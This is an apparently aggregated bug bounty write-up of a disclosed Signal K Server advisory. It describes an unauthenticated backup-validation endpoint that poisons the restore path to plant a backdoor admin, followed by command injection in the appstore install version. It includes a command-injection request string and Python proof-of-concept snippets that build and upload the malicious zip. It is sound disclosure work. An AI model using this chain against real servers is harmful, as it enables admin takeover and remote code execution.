# Signal K Server has Unauthenticated State Pollution leading to Remote Code Execution (RCE)

Unauthenticated /validateBackup pollutes module-global restoreFilePath, hijacking admin restore to overwrite security.json and gain admin, then RCE via appstore install command injection.

- Payout: Research
- Severity: critical
- Program: Signal K Server
- Found by: NoNoNGU
- Disclosed: 2026-01-02
- CVE: CVE-2025-66398
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-w3x5-7c4c-66p9
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-w3x5-7c4c-66p9
- Tags: area:web domain:web impact:ato impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:chained vuln:access-control vuln:auth-bypass vuln:command-injection vuln:rce

**Target:** Node.js/Express server (signalk-server) HTTP endpoints
**Root cause:** Module-level global `restoreFilePath` is written by the unauthenticated `/skServer/validateBackup` endpoint and later trusted by `/skServer/restore`, letting any user redirect the restore source. A separate command injection in the appstore install version parameter then yields RCE.
**Steps:**
1. POST a malicious zip to `/skServer/validateBackup` containing `security.json` with an added admin user and `settings.json` enabling `./tokensecurity`; this sets `restoreFilePath` to the attacker's upload.
2. Trigger `/skServer/restore` (or wait for an admin) with `{"security.json": true, "settings.json": true}` so the polluted path is unzipped over server config.
3. Restart server to load new config, then login via `/signalk/v1/auth/login` as the backdoor admin.
4. Send `POST /skServer/appstore/install/@signalk/freeboard-sk/1.0.0 & echo RCE_SUCCESS > rce_proof.txt &` with the admin bearer token to execute OS commands via npm install version injection.
**How found:** Code review of src/serverroutes.ts spotted a module-level `restoreFilePath` global written by an endpoint lacking auth middleware and later consumed by the restore handler.
**Exploitation:** Attacker needs no auth for step 1; plants a zip that overwrites security.json/settings.json on restore, gains admin, then abuses the appstore install version parameter to run arbitrary shell commands (verified by writing rce_proof.txt).
**Escalation:** Chains unauthenticated state pollution -> config overwrite -> admin account takeover -> command injection in appstore install for full RCE.
**Insight:** Look for module-level mutable globals shared across requests in Express/Node apps; any unauthenticated endpoint that writes such state can poison a privileged sibling endpoint's behavior.

## Proof of concept (copied exactly from the original report)

**Malicious zip with backdoor security.json**

```
zip_buffer = io.BytesIO()
    with zipfile.ZipFile(zip_buffer, 'w') as z:
        # Add backdoor admin user
        security_config = {
            "users": [{
                "username": BACKDOOR_USER,
                "password": BACKDOOR_PASS, 
                "permissions": "admin"
            }]
        }
        z.writestr("security.json", json.dumps(security_config))
        # Enable security to make the backdoor effective
        z.writestr("settings.json", json.dumps({"security": {"strategy": "./tokensecurity"}}))
```

**Unauthenticated validateBackup state pollution request**

```
res = requests.post(f"{TARGET_URL}/skServer/validateBackup", 
                        files={'file': ('malicious.zip', zip_buffer, 'application/zip')})
```

